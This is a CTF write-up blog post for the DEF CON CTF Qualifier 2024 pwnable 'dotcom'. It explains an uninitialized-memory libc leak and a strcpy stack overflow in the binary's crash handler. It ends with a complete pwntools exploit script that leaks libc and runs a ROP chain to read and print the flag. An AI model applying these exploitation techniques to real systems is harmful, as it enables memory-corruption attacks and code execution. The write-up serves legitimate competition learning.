[CTF] DEF CON CTF Qualifier 2024 - dotcom : Exploitinig Crash Handler

The Orange·2024년 5월 6일
0

CTF

목록 보기
6/7
1. Overview
2. Analysis
3. Vulnerabilities
	3-1. Uninitialized Memory
    3-2. Stack Overflow
4. Exploit
5. Finish

1. Overview


This challenge was a pwnable challenge presented at the DEF CON CTF Qualifier 2024. Thanks to my teammate quickly finding the vulnerability, I achieved the First Blood for this challenge during the competition. Generally, this problem is considered to be of an easier difficulty compared to other challenges presented at the DEF CON CTF.

2. Analysis


One of the common Pwnable challenge types, like the "Notes" challenge, this binary allows adding and releasing arbitrary Models. In addition, there is a strong Seccomp Filter, but this is for the second challenge (airbag). Since the flag file of the dotcom challenge is opened as soon as the binary starts, if you have acquired Control Flow, you can easily read the flag of dotcom. Another special point is that there is a Crash Handler. This also seems to be for the second challenge (airbag), but the actual exploitable vulnerability in the dotcom binary exists in the Crash Handler.

3. Vulnerabilities

3-1. Uninitialized Memory


The first vulnerability is that memory is not properly initialized. By creating an Unsorted bin and then allocating a Chunk, we can include the fd and bk (Address of main arena) in m. Since the values are not overwritten when they are NaN, the address of libc remains. Eventually, that value can be printed by the draw_graph function and leaked to the user.

3-2. Stack Overflow


The second vulnerability exists in the Crash handler. When parsing the abort message, a Stack Overflow occurs because it uses the strcpy function. At first glance, it may seem like the user cannot control the value of the abort message, but the Crash Handler is triggered for most signals.

Therefore, by using a part where a signal occurs without an abort message, you can control the value passed to the find_abort_string function. In the code above, since the user's input value is in the register at the point of abort, if you include the input "(): Asse", you can trigger the find_abort_string function.

4. Exploit


.text:0000000000401565 48 8B 05 7C 4A 00 00          mov     rax, cs:stdin_ptr
.text:000000000040156C 48 8B 10                      mov     rdx, [rax]                      ; stream
.text:000000000040156F BE F4 01 00 00                mov     esi, 1F4h                       ; n
.text:0000000000401574 E8 87 FB FF FF                call    _fgets

However, there is still a problem with exploiting it. Since strcpy terminates when it encounters a Null byte, it is impossible to perform ROP. If we check the point where RIP control is possible, the Stack address remains in the RDI register. Therefore, we can use a gadget like the one above to cause a Stack Overflow again. Then, sufficient ROP becomes possible.

5. Finish


The second challenge, Airbag, was clearly about causing Memory Corruption in the Airbag binary by manipulating the Crash Message from dotcom and exploiting it with a memfd_create related trick. However, I ultimately failed to solve it because I couldn't find a vulnerability in the Airbag binary.

The final solve code for dotcom is as follows:

from pwn import *
import struct

context.arch = "amd64"

nan = struct.unpack("Q", struct.pack("d", float('nan')))[0]

#r = process("dotcom_market")
r = remote("dotcom.shellweplayaga.me", 10001 )

r.sendlineafter(b"Ticket please:", b"ticket{here_is_your_ticket}")

r.sendlineafter(b"Enter graph description:", b"123")

r.sendlineafter(b">", b"0")
s = f"0|0|0|0|0|" + "A"*0x400
s = f"{len(s)}|{s}"
r.sendlineafter(b"Paste model export text below:", s.encode())

r.sendlineafter(b">", b"0")
s = f"0|0|0|0|0|" + "A"*0x400
s = f"{len(s)}|{s}"
r.sendlineafter(b"Paste model export text below:", s.encode())

r.sendlineafter(b">", b"66")
r.sendlineafter(b">", b"1")

r.sendlineafter(b">", b"0")
s = f"0|{nan}|0|0|0|" + "A" * 0x400
s = f"{len(s)}|{s}"
r.sendlineafter(b"Paste model export text below:", s.encode())

r.sendlineafter(b">", b"1")
r.recvuntil(b"r = ")

leak = float(r.recvuntil(b" ", drop=True).decode())
libc_leak = u64(struct.pack("d", leak * 10))
libc_leak = libc_leak & ~0xfff
libc_base = libc_leak - 0x21a000

pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx_rbx = libc_base + 0x00000000000904a9
write = libc_base + 0x0114870
read = libc_base + 0x01147d0

print(f'libc_base = {hex(libc_base)}')

r.sendlineafter(b">", b"1")
r.sendlineafter(b">", b"0")

raw_input()
pay = b'1280|'
pay += b'(): Asse' + b'A'*0x30
pay += p64(0x401565)
pay += b'X'*(1284 - len(pay))
r.sendline(pay)


pay = b'B'*0x18
pay += p64(pop_rdi)
pay += p64(0x6)
pay += p64(pop_rsi)
pay += p64(libc_base+0x21c000)
pay += p64(pop_rdx_rbx)
pay += p64(0x100)
pay += p64(0x0)
pay += p64(read)

pay += p64(pop_rdi)
pay += p64(0x1)
pay += p64(pop_rsi)
pay += p64(libc_base+0x21c000)
pay += p64(pop_rdx_rbx)
pay += p64(0x100)
pay += p64(0x0)
pay += p64(write)
pay += p64(0xdeadbeef)

r.sendline(pay)

r.interactive()

0개의 댓글